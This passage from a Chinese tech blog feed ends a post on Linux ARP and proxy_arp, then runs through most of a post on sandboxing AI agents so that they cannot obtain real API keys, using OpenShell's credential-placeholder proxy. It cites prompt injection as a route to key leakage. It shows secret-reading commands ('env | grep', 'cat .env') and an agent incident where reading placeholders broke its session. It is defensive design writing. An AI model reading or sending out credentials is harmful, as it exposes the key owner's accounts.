&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第 2 步通了、第 3 步不通，就足以推翻「必须开 proxy_arp」的归因：如果代答真由 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 提供，&lt;code&gt;proxy_arp=0&lt;&#x2F;code&gt; 时第 2 步就该失败；而改变 &lt;code&gt;arp_ignore&lt;&#x2F;code&gt; 能立刻开关代答，说明真正起作用的是它。&lt;&#x2F;p&gt;
&lt;p&gt;以上结论在隔离的 netns 里按本文拓扑实测复核过（三个命名空间分别模拟 Server、Device 和 eth0 侧的远端主机；下表 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 指 eth1 的开关，B 组回程另在 eth0 开了 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;A 组：目标 &lt;code&gt;.10&lt;&#x2F;code&gt; 是 Server 本机地址（配在 eth0 上）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;proxy_arp&lt;&#x2F;th&gt;&lt;th&gt;arp_ignore&lt;&#x2F;th&gt;&lt;th&gt;ip_forward&lt;&#x2F;th&gt;&lt;th&gt;ping &lt;code&gt;.10&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;Device 的 ARP 表&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;0（默认）&lt;&#x2F;td&gt;&lt;td&gt;0（默认）&lt;&#x2F;td&gt;&lt;td&gt;0（默认）&lt;&#x2F;td&gt;&lt;td&gt;OK&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;.10 → eth1 MAC&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;OK&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;.10 → eth1 MAC&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;FAIL&lt;&#x2F;td&gt;&lt;td&gt;INCOMPLETE&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;FAIL&lt;&#x2F;td&gt;&lt;td&gt;INCOMPLETE&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;B 组：目标 &lt;code&gt;.50&lt;&#x2F;code&gt; 非本机，经 eth0 可达&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;proxy_arp&lt;&#x2F;th&gt;&lt;th&gt;arp_ignore&lt;&#x2F;th&gt;&lt;th&gt;ip_forward&lt;&#x2F;th&gt;&lt;th&gt;ping &lt;code&gt;.50&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;Device 的 ARP 表&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;FAIL&lt;&#x2F;td&gt;&lt;td&gt;INCOMPLETE&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;OK&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;.50 → eth1 MAC&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;FAIL&lt;&#x2F;td&gt;&lt;td&gt;INCOMPLETE&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;上面的对照实验分别证明：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;全默认（&lt;code&gt;proxy_arp=0&lt;&#x2F;code&gt;、&lt;code&gt;arp_ignore=0&lt;&#x2F;code&gt;、&lt;code&gt;ip_forward=0&lt;&#x2F;code&gt;）就能代答本机地址——方案二不需要 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;本机地址的代答完全由 &lt;code&gt;arp_ignore&lt;&#x2F;code&gt; 控制，&lt;code&gt;arp_ignore=1&lt;&#x2F;code&gt; 后代答消失，且 &lt;code&gt;proxy_arp=1&lt;&#x2F;code&gt; + &lt;code&gt;ip_forward=1&lt;&#x2F;code&gt; 也救不回来；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 只在目标非本机时生效（B1 → B2）；&lt;&#x2F;li&gt;
&lt;li&gt;即便如此，&lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 也必须配合 &lt;code&gt;ip_forward=1&lt;&#x2F;code&gt; 才能代答（B3）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;zhua-tcp&quot;&gt;抓 TCP&lt;&#x2F;h2&gt;
&lt;p&gt;Server 上：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo tcpdump -ni eth1 &amp;#x27;tcp port 80&amp;#x27;
sudo tcpdump -ni eth0 &amp;#x27;tcp port 80&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到 &lt;code&gt;eth1&lt;&#x2F;code&gt; 上有 Device 到 &lt;code&gt;192.168.1.10:80&lt;&#x2F;code&gt; 的 TCP SYN，而 &lt;code&gt;eth0&lt;&#x2F;code&gt; 上通常看不到这条连接——因为它是 &lt;code&gt;eth1 → 本机 TCP socket&lt;&#x2F;code&gt;，而不是 &lt;code&gt;eth1 → eth0&lt;&#x2F;code&gt; 转发。&lt;&#x2F;p&gt;
&lt;p&gt;这能直接证明：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;「服务绑定在 eth0 地址」和「数据包必须从 eth0 进入」是两件完全不同的事情。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;zhu-yi-shi-xiang-fang-an-er-shu-yu-fei-dian-xing-wang-luo-she-ji&quot;&gt;注意事项：方案二属于非典型网络设计&lt;&#x2F;h1&gt;
&lt;p&gt;方案二能工作，但依赖若干默认行为，在复杂环境中要特别小心：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;依赖 &lt;code&gt;arp_ignore=0&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：很多服务器会做 ARP 硬化（&lt;code&gt;arp_ignore=1&lt;&#x2F;code&gt;、&lt;code&gt;arp_announce=2&lt;&#x2F;code&gt;）或防火墙限制，这会让方案二直接失效，且开 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 也救不回来；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;地址空间重叠&lt;&#x2F;strong&gt;：Server 两个接口的网段互相包含，ARP 行为（ARP flux）、&lt;code&gt;arp_announce&lt;&#x2F;code&gt;、&lt;code&gt;rp_filter&lt;&#x2F;code&gt;、源地址选择、防火墙规则都需要额外确认；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ARP flux 的副作用&lt;&#x2F;strong&gt;：默认行为意味着 Server 在任何接口上都可能代答本机地址，在共享二层网络中可能引起混乱；&lt;&#x2F;li&gt;
&lt;li&gt;简单实验环境里方案二很有价值——Device 只配一个 &lt;code&gt;&#x2F;24&lt;&#x2F;code&gt; 地址、不配 Gateway、不配静态路由就能访问 Server 另一接口上的服务；但生产网络优先选择方案一的标准三层设计。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;这个问题实际上涉及 Linux 网络中的三个不同层次：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;┌──────────────────────────────────────┐
│              Application             │
│          HTTP 192.168.1.10:80        │
└──────────────────┬───────────────────┘
                   │
┌──────────────────▼───────────────────┐
│                  IP                  │
│       Route &amp;#x2F; Longest Prefix         │
└──────────────────┬───────────────────┘
                   │
┌──────────────────▼───────────────────┐
│              Ethernet                │
│                 ARP                  │
└──────────────────────────────────────┘
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;方案一&lt;&#x2F;strong&gt;：不同网段 + 默认网关，靠 IP Routing 把包交给 Server，标准三层设计。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;方案二&lt;&#x2F;strong&gt;：Device 用 &lt;code&gt;&#x2F;24&lt;&#x2F;code&gt; 把 &lt;code&gt;.10&lt;&#x2F;code&gt; 认成同网段邻居，直接 ARP；Server 用默认的 &lt;code&gt;arp_ignore=0&lt;&#x2F;code&gt; 在 eth1 上代答，再用 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt; 的最长前缀匹配把回程钉在 eth1 上。&lt;&#x2F;p&gt;
&lt;p&gt;最后要记住三点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;服务绑定在哪个接口的 IP 上，和「数据包从哪个接口进入」无关——只要目标 IP 是本机地址，内核就交给本机协议栈，不需要 forwarding；&lt;&#x2F;li&gt;
&lt;li&gt;方案二里代答 ARP 的是默认的 &lt;code&gt;arp_ignore=0&lt;&#x2F;code&gt;（ARP flux），不是 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt;；&lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 只在目标 IP 非本机、需要经其他接口路由时才起作用，而且要求 &lt;code&gt;ip_forward=1&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;验证时「先关掉可疑开关再看」——默认行为的功劳很容易被记到刚打开的开关上，本文对 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 的误判就是这么来的。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>让 Agent 调用模型却拿不到 API Key：OpenShell 实测、DSH 默认隔离与 SSH Key 的边界</title>
        <published>2026-09-13T17:48:42+08:00</published>
        <updated>2026-09-13T17:48:42+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/agent-apikey-isolation-openshell-dsh/"/>
        <id>https://vercel.juzhong.asia/2026/09/agent-apikey-isolation-openshell-dsh/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/agent-apikey-isolation-openshell-dsh/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;Agent 一旦有了 shell 工具，&quot;密钥不进它上下文&quot;就变成了一件很难保证的事：&lt;code&gt;env&lt;&#x2F;code&gt;、&lt;code&gt;.env&lt;&#x2F;code&gt;、&lt;code&gt;~&#x2F;.config&#x2F;...&lt;&#x2F;code&gt; 都是它伸手就能读的；prompt injection 还能诱导它把 key 发到外部。目标很明确：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hermes &#x2F; DSH &#x2F; 任意 agent 能正常调用模型，但 agent 进程本身&lt;strong&gt;拿不到真实 API Key&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;围绕这个问题最近做了一轮调研，并拿手头的环境做了实测（dut 上跑着 OpenShell + Hermes 沙箱，见&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;openshell-pi-hermes-sandbox&#x2F;&quot;&gt;把 Hermes 关进 OpenShell 沙箱&lt;&#x2F;a&gt;）。顺手把 SSH key、DSH 的默认隔离、以及几个轻量替代方案一起理清。先给结论：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;API key 防泄漏有两条路线：&lt;strong&gt;把真 key 放在 agent 够不到的地方&lt;&#x2F;strong&gt;（代理网关 &#x2F; 宿主进程），或&lt;strong&gt;让 agent 跑在够不到 key 的沙箱里&lt;&#x2F;strong&gt;（内核隔离）。前者防&quot;读进程&#x2F;文件&quot;，后者防&quot;读宿主文件&quot;。&lt;&#x2F;li&gt;
&lt;li&gt;OpenShell 走的是前者：L7 代理 + 凭证占位符替换，外加文件&#x2F;网络&#x2F;进程&#x2F;凭证四层声明式 policy，dut 上实测可用。但它有一个&quot;占位符进对话体&quot;的坑（§3.4），一旦踩中，会话里所有模型请求都会失败。&lt;&#x2F;li&gt;
&lt;li&gt;SSH key 是完全不同的问题：私钥本来就不传输，防的是&quot;谁能使用签名能力&quot;。OpenShell 目前&lt;strong&gt;没有现成的 ssh-agent 转发&#x2F;挂载&lt;&#x2F;strong&gt;，网上那套 &lt;code&gt;IdentityAgent=$SSH_AUTH_SOCK&lt;&#x2F;code&gt; 的配置在 OpenShell 里配不出来（§4.3）。&lt;&#x2F;li&gt;
&lt;li&gt;如果只想轻量解决&quot;agent 拿不到 API key&quot;：本地代理网关（LiteLLM 之类）把 agent 的 shell 扔进容器&#x2F;独立用户，比 OpenShell 省事得多（§5）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;yi-xian-fen-qing-san-ceng-ji-zhi&quot;&gt;一、先分清三层机制&lt;&#x2F;h1&gt;
&lt;p&gt;讨论&quot;防泄漏&quot;之前先分清防的是哪一段，否则很容易把三个东西混在一起：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;层&lt;&#x2F;th&gt;&lt;th&gt;代表机制&lt;&#x2F;th&gt;&lt;th&gt;防住什么&lt;&#x2F;th&gt;&lt;th&gt;防不住什么&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;网络&#x2F;应用层代理&lt;&#x2F;td&gt;&lt;td&gt;OpenShell supervisor proxy&lt;&#x2F;td&gt;&lt;td&gt;真 key 不进 agent 进程；出网端点白名单 + L7 审计&lt;&#x2F;td&gt;&lt;td&gt;agent 读宿主文件（靠别的层）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;内核沙箱&lt;&#x2F;td&gt;&lt;td&gt;bwrap + Landlock + seccomp（DSH、容器）&lt;&#x2F;td&gt;&lt;td&gt;agent 读到宿主敏感文件 &#x2F; 提权&lt;&#x2F;td&gt;&lt;td&gt;同用户下的进程逃逸、&lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;environ&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;密码学&lt;&#x2F;td&gt;&lt;td&gt;SSH 公钥认证&lt;&#x2F;td&gt;&lt;td&gt;私钥在网络上被截获&lt;&#x2F;td&gt;&lt;td&gt;私钥被本地进程读走、签名能力被滥用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;关于 OpenShell 的常见误解：MITM 只是它的&lt;strong&gt;实现手段&lt;&#x2F;strong&gt;（代理终结 TLS 才能替换凭证），不是目的。它真正做的是&quot;凭证占位符 + 策略引擎 + 审计&quot;三件套。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;er-openshell-shi-zen-me-zuo-dao-agent-na-bu-dao-key-de-dut-shi-ce&quot;&gt;二、OpenShell 是怎么做到 agent 拿不到 key 的（dut 实测）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;2-1-lian-lu&quot;&gt;2.1 链路&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;CLI ──mTLS──▶ openshell-gateway（控制面，127.0.0.1:17670）
                  │  真 key 存在 gateway 的加密凭证库里
                  ▼
          sandbox 容器（rootless podman）
            └─ supervisor（PID 1）
                 ├─ 给 agent 进程注入占位符环境变量
                 ├─ 出网强制走 10.200.0.1:3128 正向代理
                 └─ 对 L7 端点终结 TLS，把占位符替换成真 key 再发上游
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-2-shi-ce-zheng-ju&quot;&gt;2.2 实测证据&lt;&#x2F;h2&gt;
&lt;p&gt;agent 进程看到的环境变量长这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ openshell sandbox exec -n hermes -- sh -c &amp;#x27;env | grep XIAOMI&amp;#x27;
XIAOMI_TOKEN_PLAN_CN_API_KEY=openshell:resolve:env:v..._XIAOMI_TOKEN_PLAN_CN_API_KEY
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;真 key 只在 gateway 的加密库里，代理在发往 &lt;code&gt;token-plan-cn.xiaomimimo.com:443&lt;&#x2F;code&gt; 的请求上替换（临时 CA 的私钥只在 supervisor 内存里）。每次 allow&#x2F;deny 都有 OCSF 日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ openshell logs hermes --tail
HTTP:POST [INFO] ALLOWED POST http:&amp;#x2F;&amp;#x2F;token-plan-cn.xiaomimimo.com:443&amp;#x2F;v1&amp;#x2F;chat&amp;#x2F;completions [policy:hermes engine:l7]
NET:OPEN  [MED ] DENIED &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;curl -&amp;gt; example.com:443 [reason:endpoint not allowed by any policy]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-3-policy-guan-shen-me&quot;&gt;2.3 policy 管什么&lt;&#x2F;h2&gt;
&lt;p&gt;OpenShell 的 policy 分静态段（创建时锁定，改了要重建沙箱）和动态段（可热更）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;字段&lt;&#x2F;th&gt;&lt;th&gt;类别&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;filesystem_policy.read_only&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;read_write&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;静态&lt;&#x2F;td&gt;&lt;td&gt;Landlock 白名单，未列出的路径不可访问&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;landlock.compatibility&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;静态&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;best_effort&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;hard_requirement&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;process.run_as_user&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;run_as_group&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;静态&lt;&#x2F;td&gt;&lt;td&gt;agent 降权身份；&lt;code&gt;0&lt;&#x2F;code&gt;&#x2F;root 被 schema 拒绝&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;network_policies.&amp;lt;key&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态&lt;&#x2F;td&gt;&lt;td&gt;端点 × 二进制白名单；&lt;code&gt;protocol: rest&lt;&#x2F;code&gt; = L7 检查&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;request_body_credential_rewrite&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态&lt;&#x2F;td&gt;&lt;td&gt;是否重写&lt;strong&gt;请求体&lt;&#x2F;strong&gt;里的占位符（默认 &lt;code&gt;false&lt;&#x2F;code&gt;，见 §3.4）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;沙箱容器本身也不是&quot;随便挂载&quot;的：dut 上它只挂了 &lt;code&gt;&#x2F;sandbox&lt;&#x2F;code&gt; 卷 + supervisor 二进制 + TLS 文件，宿主 home&#x2F;ssh&#x2F;pass 都不可见（这条很关键，后面 §2.5 会纠一个常见的误传）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-4-keng-zhan-wei-fu-jin-ru-dui-hua-qing-qiu-ti-hui-hua-yong-jiu-shi-bai&quot;&gt;2.4 坑：占位符进入对话&#x2F;请求体 = 会话永久失败&lt;&#x2F;h2&gt;
&lt;p&gt;这是本次实测踩到的新坑，也是写这篇文章的起因。&lt;&#x2F;p&gt;
&lt;p&gt;Hermes 排查问题时用 terminal 工具跑了 &lt;code&gt;env&lt;&#x2F;code&gt;&#x2F;读 &lt;code&gt;.env&lt;&#x2F;code&gt;，把 &lt;code&gt;openshell:resolve:env:...&lt;&#x2F;code&gt; 占位符留在了会话历史里。之后这个会话的&lt;strong&gt;每一次&lt;&#x2F;strong&gt;模型请求体里都带着占位符，而 OpenShell 代理按设计拒绝：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;HTTP:POST [INFO] ALLOWED POST ...&amp;#x2F;v1&amp;#x2F;chat&amp;#x2F;completions
NET:TRAFFIC [HIGH] DENIED ... [reason:POST request body credential traffic denied]
NET:FAIL ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;代理直接掐断连接，客户端报 &lt;code&gt;APIConnectionError: Server disconnected without sending a response&lt;&#x2F;code&gt;，Hermes 显示&quot;model server not responding&quot;——&lt;strong&gt;新会话（&lt;code&gt;hermes -z&lt;&#x2F;code&gt;）正常，只有被污染的会话全挂&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;根因：源码 &lt;code&gt;l7&#x2F;rest.rs&lt;&#x2F;code&gt; 的 &lt;code&gt;emit_uninspected_body_credential_denial&lt;&#x2F;code&gt;（finding &lt;code&gt;openshell.credentials.traffic_uninspectable&lt;&#x2F;code&gt;）。请求体里的凭证占位符无法安全检查&#x2F;重写，默认 fail-closed。&lt;&#x2F;li&gt;
&lt;li&gt;修法：把占位符从会话历史里清掉（&lt;code&gt;&#x2F;reset&lt;&#x2F;code&gt; 开新会话，或清理 state.db 后让会话缓存重载）。&lt;&#x2F;li&gt;
&lt;li&gt;别急着开 &lt;code&gt;request_body_credential_rewrite: true&lt;&#x2F;code&gt;：我们的 &lt;code&gt;open_internet&lt;&#x2F;code&gt; 是 hostless（任意主机）端点，开了等于把真 key 替换进发往任意主机的请求体，安全上不划算。&lt;&#x2F;li&gt;
&lt;li&gt;教训：&lt;strong&gt;agent 永远不要读自己的 key&#x2F;占位符&lt;&#x2F;strong&gt;（&lt;code&gt;env | grep&lt;&#x2F;code&gt;、&lt;code&gt;cat .env&lt;&#x2F;code&gt;）。对 agent 来说，那段字符串看起来&quot;不是 secret&quot;，但它会让整个会话失去与外界的模型通信。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-5-kan-wu-ji-ge-wang-shang-liu-chuan-de-openshell-shuo-fa&quot;&gt;2.5 勘误：几个网上流传的 OpenShell 说法&lt;&#x2F;h2&gt;
&lt;p&gt;调研时拿到的二手资料里有几处张冠李戴，照着配会踩空：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;流传说法&lt;&#x2F;th&gt;&lt;th&gt;事实&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&quot;&lt;code&gt;workspaceAccess: ro&#x2F;rw&lt;&#x2F;code&gt; 会把宿主工作目录挂进容器&quot;&lt;&#x2F;td&gt;&lt;td&gt;这是 &lt;strong&gt;OpenClaw&lt;&#x2F;strong&gt; 的配置（&lt;code&gt;~&#x2F;.openclaw&#x2F;openclaw.json&lt;&#x2F;code&gt;），不是 NVIDIA OpenShell。OpenShell 沙箱只挂 &lt;code&gt;&#x2F;sandbox&lt;&#x2F;code&gt; 卷和 supervisor&#x2F;TLS 文件，不挂宿主工作目录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&quot;&lt;code&gt;tools.exec.host: gateway&lt;&#x2F;code&gt; 时命令直接在宿主机执行、容器内 uid=0 就是宿主 root&quot;&lt;&#x2F;td&gt;&lt;td&gt;同样是别家的说法。OpenShell 的 agent 进程在沙箱内降权运行，&lt;code&gt;uid=0&lt;&#x2F;code&gt;&#x2F;root 被 policy schema 和 supervisor 双重拒绝&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&quot;未列出的端点会弹窗让你实时审批&quot;&lt;&#x2F;td&gt;&lt;td&gt;OpenShell 是声明式 deny + OCSF 日志，没有交互审批&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&quot;审计日志不可篡改&quot;&lt;&#x2F;td&gt;&lt;td&gt;OCSF 事件流可以看 allow&#x2F;deny，但&quot;不可篡改&quot;是营销词，别当合规保证&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;san-ssh-key-he-api-key-shi-tong-yi-ge-wen-ti-ma&quot;&gt;三、SSH key：和 API key 是同一个问题吗？&lt;&#x2F;h1&gt;
&lt;p&gt;不是。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-1-ssh-si-yao-ben-lai-jiu-bu-chuan-shu&quot;&gt;3.1 SSH 私钥本来就不传输&lt;&#x2F;h2&gt;
&lt;p&gt;SSH 公钥认证里，私钥永远留在本地，网络上传的是&quot;用私钥对握手数据（含会话 ID）的签名&quot;。中间人即使截获签名，也无法转发给真实服务器——因为它和客户端、服务器各自建了不同的连接，会话 ID 对不上，签名验证必然失败。&lt;strong&gt;所以 SSH key 的泄漏模型不是&quot;传输被截&quot;，而是：私钥文件被读走，或者签名能力被滥用。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-2-agent-forwarding-shi-shuang-ren-jian&quot;&gt;3.2 agent forwarding 是双刃剑&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;ssh -A&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;ForwardAgent yes&lt;&#x2F;code&gt; 会把本地的 ssh-agent 通道借给远端：远端的进程可以请求你的 agent 签名。目标服务器一旦被攻破，攻击者就能用你的身份去连别的机器。&lt;strong&gt;除非明确需要跳板链，否则不要开。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-3-zai-openshell-li-rang-agent-yong-ssh-dan-na-bu-dao-si-yao&quot;&gt;3.3 在 OpenShell 里让 agent 用 SSH 但拿不到私钥？&lt;&#x2F;h2&gt;
&lt;p&gt;现状要说清楚：&lt;strong&gt;OpenShell 没有现成的 ssh-agent 转发&#x2F;挂载开关&lt;&#x2F;strong&gt;。沙箱容器的挂载由 driver 决定（我们这份配置只有 &lt;code&gt;&#x2F;sandbox&lt;&#x2F;code&gt; 卷 + TLS 文件），你没法把宿主的 &lt;code&gt;$SSH_AUTH_SOCK&lt;&#x2F;code&gt; 塞进去；网络默认也只放行 80&#x2F;443，22 端口需要显式加。所以网上那套&quot;宿主机跑 ssh-agent + 沙箱里 &lt;code&gt;ssh -o IdentityAgent=$SSH_AUTH_SOCK&lt;&#x2F;code&gt;&quot;在 OpenShell 里是配不出来的，除非改 driver &#x2F; 做 BYOC 深度定制。&lt;&#x2F;p&gt;
&lt;p&gt;可行的路线，按推荐程度排：&lt;&#x2F;p&gt;
&lt;ol&gt;
